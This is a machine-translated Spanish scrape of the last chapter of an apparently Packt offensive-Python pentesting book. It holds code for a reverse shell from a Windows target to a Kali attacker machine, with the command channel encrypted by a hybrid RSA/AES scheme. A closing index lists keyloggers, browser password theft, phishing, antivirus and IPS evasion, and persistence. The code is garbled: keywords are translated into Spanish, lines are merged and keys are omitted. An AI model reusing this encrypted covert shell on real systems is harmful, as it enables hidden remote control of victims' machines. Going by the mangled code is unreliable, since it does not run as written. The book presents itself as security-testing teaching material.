fragmento reducirá el resultado de 0 a 512 bytes y el segundo fragmento será de 500 a 1024 bytes, y
así sucesivamente. hasta alcanzar la longitud de la salida del comando. Ahora, tenga en cuenta que
cada vez que obtenemos un fragmento, estamos listos para comenzar y lo enviaremos inmediatamente
a la máquina atacante después de pasar con seguridad o pasar a la función de cifrado.
[ 149 ]
Ahora, en el lado del objetivo, dado que ya conocemos el tamaño máximo de los datos recibidos, que
nuevamente es de 512 bytes, en lugar de leer 1 KB y dividirlos nuevamente en fragmentos, leeremos un
fragmento cada vez. Por eso, hemos cambiado el valor recibido de 1 KB a 512 bytes. Entonces, ahora,
después de descifrar el fragmento, si recibimos un mensaje de texto claro con un tamaño completo de
512 bytes, esto probablemente significa que este mensaje se ha dividido en fragmentos en el lado de
destino, ¿verdad? Entonces, el siguiente mensaje o fragmento está relacionado con el primero. Ahora,
esta es la razón por la que la variable almacenada contendrá ambos, y cuando digo ambos, me refiero a
almacenar + descifrar el mensaje y el siguiente almacenar + descifrar. Finalmente, imprimiremos el
resultado.
Si la ejecución del comando fue más grande que dos mensajes o, en otras
palabras, fue más grande que 1 KB, es posible que necesitemos vincular el tercer
mensaje también a la variable almacenada.
Entonces, verifiquemos si nuestro código está funcionando en este momento. Comience a ejecutar el lado
del servidor y el lado del cliente. Comencemos con el comando que no pudimos ejecutar antes, es decir,
ipconfig. Veremos que obtenemos la salida en una sola pieza, incluso si es mayor a 512 bytes. Lo mismo
ocurre con whoami y directorios.
RSA también se está utilizando para desarrollar algo llamado ransomware. Ahora, en
ransomware, los atacantes pueden cifrar los archivos de destino utilizando una clave
pública y pedir dinero para proporcionar la clave privada, que descifrará sus archivos
importantes.
Clave de cifrado híbrida

En este punto, debería poder codificar e implementar tanto el cifrado asimétrico RSA como el simétrico
AES, e integrarlos en nuestro shell TCP. Entonces, ahora, implementaremos una forma híbrida para
aprovechar ambos algoritmos. Así que recapitulemos rápidamente.
El cliente tendrá su propia clave privada y el servidor o la máquina Kali tendrá la clave pública del
objetivo. Una vez que se inicia la conexión TCP, la máquina Kali generará una clave AES aleatoria y
enviaremos esta clave de forma segura al lado de destino. La razón por la que digo de forma segura es
porque la transferencia se realizará mediante el cifrado o mediante el cifrado de la clave AES aleatoria con
la clave pública de un objetivo. Una vez que el objetivo recibe ese mensaje, lo descifrará utilizando la clave
privada de destino y extraerá la clave AES para borrar el texto. En este punto, tanto Kali como las máquinas
de destino tienen las mismas claves AES generadas aleatoriamente que pueden usarse y se usarán para el
cifrado AES. Ahora, el cifrado AES en este punto se utilizará para cifrar nuestros comandos que se
transferirán de un lado a otro entre la máquina Kali y nuestro objetivo.
[ 150 ]
Tras una nueva conexión, tanto Kali como el objetivo repetirán todo el proceso y
se derivará una nueva clave aleatoria. Ahora, esta es la razón por la que se
llama método híbrido, ya que estamos usando el algoritmo asimétrico para
transferir de forma segura una clave simétrica generada, que eventualmente se
usará para cifrar nuestros comandos.
Entonces, pasemos a la parte de la codificación, que es una especie de mezcla entre lo simétrico
y lo asimétrico. El siguiente es el script del lado del servidor:
# Descargar Pycrypto para Windows - pycrypto 2.6 para win32 py 2.7 # http://www.voidspace.org.uk/python/
modules.shtml#pycrypto

# Híbrido - Servidor - Shell inverso TCP
importar socket de
Crypto.PublicKey importar RSA de Crypto.Cipher
importar AES importar cadena importar al azar
def encrypt_AES_KEY(CLAVE):
publickey ="""-----COMENZAR CLAVE PÚBLICA-----

...
-----FIN CLAVE PÚBLICA-----"""
encriptador = RSA.importKey(publickey)
encriptedData=encryptor.encrypt(KEY, 0) return encriptedData[0]
Al completar el protocolo de enlace de tres vías de TCP, crearemos dos valores aleatorios, que son la
clave y el contador. Sus valores son una combinación de mayúsculas, minúsculas, dígitos y caracteres
especiales. Antes de ir al bucle infinito, que se usará para transferir el comando que queremos que se
ejecute, cifraremos estos valores con la clave pública del objetivo y luego los enviaremos:
...
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
[ 151 ]
s.bind(("10.10.10.100", 8080)) s.listen(1) print

'[+] Escuchando la conexión TCP entrante en el
puerto 8080' conn, addr = s.accept() print '[+] Tenemos una conexión desde: ', addr global key key =
''.join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase + string.digits
+ '^!\$%&/()=?{[ ]}+~#-_.:,;<>|\\') for in range(32)) print "Clave AES generada + str(clave) conn.send
( encrypt_AES_KEY(clave) ) contador global contador =
'' .join(random.SystemRandom().choice(string.ascii_uppercase +
_
"
string.ascii_lowercase + string.digits + '^!\$%&/()=?{[]}+~#-_.:,;<>|\\') in range(16))

por _
conn.send ( encrypt_AES_KEY(contador) )
...
En el lado objetivo, y también antes de entrar en el bucle infinito, descifraremos la clave y el

contador que hemos recibido de la máquina Kali; haremos este cifrado utilizando nuestra clave
privada. Luego, los almacenaremos en una variable global, que se utilizará para el cifrado AES.
Una vez más, esto sucederá antes de pasar al bucle infinito. La definición de nuestra clave privada
está bajo una función llamada GET_AES_KEY(). Entonces, en este punto, obtenemos la clave y
los valores del contador , y como dije, los usaremos para el cifrado AES. Por lo tanto, la función
de cifrado y la función de descifrado se utilizan para proteger nuestros comandos que irán y
vendrán entre las máquinas Kali y Windows. Ahora, una vez que estemos dentro del bucle infinito,
usaremos el modo de transmisión de AES para proteger nuestro túnel más adelante:

# Híbrido - Cliente - TCP Reverse Shell
subproceso de
de Crypto.PublicKey importar RSA de Crypto.Cipher

importar AES
[ 152 ]
def GET_AES_KEY(CLAVE):
llave privada = """-----COMENZAR CLAVE PRIVADA DE RSA-----
...
-----FIN CLAVE PRIVADA RSA-----"""
desencriptador = RSA.importKey(clave privada)
AES_Key = decryptor.decrypt(KEY) devuelve
AES_Key
...
8080)) clave global, contador x = s.recv(1024) clave = GET_AES_KEY( x ) imprimir
"AES generado Clave y = s.recv(1024) contador = GET_AES_KEY( y ) while True:
"
+ str(clave)

...
Ahora, ejecutemos los scripts, comencemos con el lado de Kali, luego con el lado de Windows. Notará que una
vez que encendemos el objetivo, obtenemos una clave AES aleatoria que se genera en la máquina Kali, que
luego se transfiere al lado del objetivo.
Si abrimos Wireshark y hacemos clic con el botón derecho en cualquier IP y seleccionamos Seguir transmisión
TCP, podemos ver que la clave AES se transfiere correctamente después de cifrarse con la clave pública del
objetivo.
Entonces, una vez que obtengamos la clave, todo lo que se envíe se cifrará mediante el flujo de claves de AES.
Entonces, cuando ejecutamos ipconfig en la máquina Kali y nuevamente hacemos clic en Seguir flujo TCP,
ipconfig se encripta usando el algoritmo AES.
Probemos con otro comando, como whoami. Si detenemos esta sesión escribiendo terminar
y luego restablecemos una nueva sesión, verá que obtendremos una nueva clave AES aleatoria generada
según la nueva sesión.
Entonces, cada vez que el objetivo se conecta a la máquina Kali, se generará una nueva clave aleatoria.
Técnicamente hablando, puede mejorar la secuencia de comandos aquí y hacer que ambos
lados cambien la clave AES después de un cierto período de tiempo o después de que se
envíe una cierta cantidad de bytes, al igual que lo hace IPSEC en el túnel VPN.
[ 153 ]
Resumen
En este capítulo, hemos discutido una amplia gama de temas que van desde la introducción a
los algoritmos de encriptación hasta la discusión de diferentes tipos de algoritmos. También hemos
implementado AES y RSA para proteger el túnel durante el paso de información.
Con esto, ¡hemos llegado al final del libro! Espero que hayas aprendido algunas técnicas excelentes para
probar con Python.
[ 154 ]
Otros libros que puede disfrutar

Si disfrutó de este libro, es posible que le interesen estos otros libros de Packt:
Dominar Kali Linux para pruebas de penetración avanzadas - Segunda edición

Vijay Kumar Velu
ISBN: 978-1-78712-023-5
Seleccione y configure las herramientas más efectivas de Kali Linux para probar la seguridad
de la red
Emplear sigilo para evitar la detección en la red que se está probando
Reconozca cuándo se utilizan ataques sigilosos contra su red
Explotar redes y sistemas de datos utilizando redes alámbricas e inalámbricas, así como servicios
web
Identifique y descargue datos valiosos de los sistemas de destino

Mantener el acceso a los sistemas comprometidos
Utilice la ingeniería social para comprometer la parte más débil de la red: el final
usuarios
Libro de recetas de pruebas de penetración de Python

Reyjah Rehim
ISBN: 978-1-78439-977-1
Aprenda a configurar Python en diferentes configuraciones de entorno

Encuentre una dirección IP desde una página web usando BeautifulSoup y Scrapy
Descubra diferentes tipos de secuencias de comandos de rastreo de paquetes para rastrear paquetes de red
Ataques maestros de capa 2 y TCP/IP

Técnicas maestras para el desarrollo de exploits para Windows y Linux
Incorpore varias técnicas de detección de redes y paquetes utilizando conectores sin formato
y Scrapy
[ 156 ]
Deje un comentario: deje que otros lectores

sepan lo que piensa
Comparta sus opiniones sobre este libro con otras personas dejando una reseña en el sitio
donde lo compró. Si compró el libro en Amazon, déjenos una reseña honesta en la página de
Amazon de este libro. Esto es vital para que otros lectores potenciales puedan ver y usar su
opinión imparcial para tomar decisiones de compra, podemos entender lo que nuestros clientes
piensan sobre nuestros productos y nuestros autores pueden ver sus comentarios sobre el título
que han trabajado con Packt para crear. Solo le tomará unos minutos de su tiempo, pero es
valioso para otros clientes potenciales, nuestros autores y Packt. ¡Gracias!
[ 157 ]
Índice
Una D
lista de control de acceso (ACL) 114 exfiltración de datos, shell inverso HTTP lado
Creación de una cuenta de administrador del cliente 36 lado del servidor 38, 40
134
Modo de transmisión AES exfiltración de datos, shell inverso de TCP lado
Cifrado en modo Cipher Block Chaining (CBC) del cliente 21, 23, 24, 26 lado del servidor
139 20
Cifrado en modo contador (CTR) 140, 142 Prevención de fuga de datos (DLP) 54
Túnel TCP, protegiendo 138 Shell compatible con DNS 57, 59
modo basado en anomalías 123 Envenenamiento de
máquina atacante asimétrica 136 DNS sobre 97, 98, 99
Script de Python, usado 100, 101
acceso a internet, configuración 7 DNS dinámico (DDNS) 56
preparación 5
B Algoritmos de cifrado E 136, 137, 138

BeautifulSoup 3.2.1
enlace de referencia 60 F
modo basado en el comportamiento 123
Phishing de
Modo de bloqueo 138, 139
contraseña de Facebook 101, 102, 103, 104
filtrado de botnets omisión 122
falso positivo 123
API de Firefox
IPS, omisión con cifrado XOR hecho a mano
enganche, con Immunity Debugger 84, 85, 86
123, 126 navegador firefox
alrededor de 82
C proceso 83, 84
conexión encadenada 63
Cifrado en modo Cipher Block Chaining (CBC) 138, 139 GRAMO
Google Chrome
Enlace de
contraseña de forma remota, adquirir 91, 92, 93, 94, 95 contraseñas
referencia de protocolo COM 110
guardadas, descargar 90
Modelo de objetos componentes (COM) 110
Google Forms
intentos de conexión sintonización 50, 52
interactuando 119, 121
Cifrado en modo contador (CTR) 138, 139, 142
H escáner de puerto de bajo nivel

integrando 72, 73, 74
Secuestro de IE 111, 113
cortafuegos basados en host METRO
sin pasar por 109

Metasploit captura de pantalla
Secuestrando IE 111, 112, 113
replicando 63, 65, 67
Sistema de detección de intrusos basado en host (HIDS) 54
Metasploit búsqueda
Shell inverso HTTP
replicación, para contenido 67, 69
alrededor de 31
navegación de directorio de destino 70, 71
lado del cliente 34, 35
codificación 31 norte
exfiltración de datos 36
Traducción de direcciones de red (NAT) 7
archivo EXE, exportando 40, 41
lado del servidor 32, 33 Agente sin IP 57
sesión HTTP
PAG
archivo, prueba contra antivirus 96
contraseña recuperada, envío 95, 96 piratería de contraseñas, contramedidas sobre
Clave de cifrado híbrida 150, 151 método 105 computadora, protección 106 red,
híbrido 151 protección 106 cuenta en línea, protección

105, 106 actividad sospechosa, visualización
yo
106, 107, 108 persistencia sobre 42, 43
contramedidas 54
Depurador de inmunidad
sobre 85
URL, para instalar 85
transferencia en línea 26
Shell inverso HTTP, creando 48 putty.exe
Internet Explorer (IE) 110
persistente, creando 44, 46, 48 Photodex sobre 129
URL, para descargar 129 Pretty Good Privacy (PGP)
Omisión de IPS, con cifrado XOR hecho a mano 123,
126 137 clave privada 137 ataque de escalada de
privilegios 128 enlace de referencia de tipos de
k escalada de privilegios 129
Administrador de contraseñas
KeePass secuestrando 80, 81, 82
enlace de referencia 80 keylogger
sobre 76 código, agregando 77, 79,
cuenta de administrador
80 biblioteca pyHook, instalando
de escalada de privilegios, creación
77 biblioteca pywin, instalando 77
de 134 servicios legítimos de Windows, puerta trasera 130,
132, 133, 134
archivo de servicio 128,
L 129 pistas, cubriendo 134

software vulnerable, preparando 129 prueba
LastPass 82
de concepto (POC) 76 clave pública 137 versión
backdoor legítimo del servicio de
py2exe-0.6.9.win32-py2.7.exe
Windows 130, 132, 133, 134
[ 159 ]
URL, para descargar 26 modo basado en firma 123

Enlace de SourceForge
referencia de PyCrypto interactuando 115, 117, 118
140 Instalación de la enlace de referencia 115
biblioteca pyHook 77 Modo de flujo 138, 139 simétrico
URL, para descargar 77 136
Enlace de referencia de la
versión de Python 2.7.14+ T
9 Script de Python usando objetivo máquina
100, 101 Python en Firefox preparando 9, 11, 12
EXE 89, 90 en Firefox prueba shell inverso de TCP
de concepto (PoC) 86, 88, sobre 13 lado del
89 instalación de la biblioteca pywin 77 URL, para cliente 16, 17, 19 codificación
descargar 77 URL de la biblioteca pywin32, para instalar 94 14 exfiltración de datos 19
archivo EXE, exportación 26, 29

lado del servidor 14
Protección de
túnel TCP, con modo de flujo AES 138 pistas
R
omisión de filtrado de cubriendo 134
reputación, en cortafuegos 114 Twitter
Google Forms, interactuando 119, 121 contramedidas 62 interactuar
SourceForge, interactuando 115, 117, 118 solicitudes 59 tuitear, analizar 60, 62
2.7.0 enlace de referencia 31 RSA algoritmo asimétrico
Túnel TCP, protegiendo 144, 145, 147, 149, 150
EN
control de acceso de usuarios (UAC) 128
S En
archivo de servicio 128
biblioteca winappdbg
descomposición de la cáscara
URL, para descargar 86
previniendo 53

??? ?? ???? ??????? ???????? PDF

Cargado por

Información del documento

Título original

Derechos de autor

Formatos disponibles

Compartir este documento

Compartir o incrustar documentos

Opciones para compartir

¿Le pareció útil este documento?

¿Este contenido es inapropiado?

Copyright:

Formatos disponibles

??? ?? ???? ??????? ???????? PDF

Cargado por

Copyright:

Formatos disponibles

Machine Translated by Google

Python para PenTest ofensivo

Una guía práctica para la piratería ética y las pruebas de

Prueba de penetración GIAC (GPEN)

Packt está buscando autores como tú

Capítulo 1: Calentamiento: su primer Shell de persistencia sin antivirus 5

Exfiltración de datos: TCP 19

Capítulo 3: Hackeo de contraseñas 76

Capítulo 5: Diversión miscelánea en Windows 128

Capítulo 6: Abuso de la criptografía por malware 136

Introducción a los algoritmos de encriptación 136

para quien es este libro

Lo que cubre este libro

El Capítulo 5, Diversiones divertidas en Windows, se enfoca en explotar software vulnerable en Windows y

Para aprovechar al máximo este libro

Descargue los archivos de código de ejemplo

Puede descargar los archivos de código siguiendo estos pasos:

1. Inicie sesión o regístrese en www.packtpub.com.

WinRAR/7-Zip para Windows

El paquete de códigos para el libro también está alojado en GitHub en https://

Descarga las imágenes a color

Un bloque de código se establece de la siguiente manera:

Cualquier entrada o salida de la línea de comandos se escribe de la siguiente manera:

apt-get instalar inactivo

Las advertencias o notas importantes aparecen así.

Los consejos y trucos aparecen así.

Si está interesado en convertirse en autor: si hay un tema en el que tiene

Para obtener más información sobre Packt, visite packtpub.com.

En este capítulo se tratarán los siguientes temas:

Preparando la máquina atacante

Ajuste de intentos de conexión

Preparando la máquina atacante

Calentando: su primer Shell de persistencia sin antivirus Capítulo 1

Calentando: su primer Shell de persistencia sin antivirus Capítulo 1

Configuración del acceso a Internet

1. Haga clic en el menú Dispositivos de la barra de menú de

Calentando: su primer Shell de persistencia sin antivirus Capítulo 1

apt-get instalar inactivo

Calentando: su primer Shell de persistencia sin antivirus Capítulo 1

Tenga en cuenta que la máquina objetivo global de Windows se encuentra en

si la IP cambia, puede volver a cambiarla ejecutando ifconfig eth0 10.0.2.15.

Preparación de la máquina de destino

Realice los siguientes pasos para lograrlo:

1. Vaya a Configuración avanzada del sistema | Variables de entorno.

Calentando: su primer Shell de persistencia sin antivirus Capítulo 1

Calentando: su primer Shell de persistencia sin antivirus Capítulo 1

Calentando: su primer Shell de persistencia sin antivirus Capítulo 1

Calentando: su primer Shell de persistencia sin antivirus Capítulo 1

Shell inverso de TCP

Calentando: su primer Shell de persistencia sin antivirus Capítulo 1

Codificando un shell inverso de TCP

Lado del servidor

# Servidor TCP básico

importar socket # para construir una conexión TCP

Calentando: su primer Shell de persistencia sin antivirus Capítulo 1

mientras que es cierto:

si 'terminar' en el comando: # Si obtuvimos el comando terminar, informar

Calentando: su primer Shell de persistencia sin antivirus Capítulo 1

Lado del cliente

# Cliente TCP básico

import socket # Para construir una conexión TCP subproceso de

while True: # sigue recibiendo comandos de la máquina Kali

def principal ():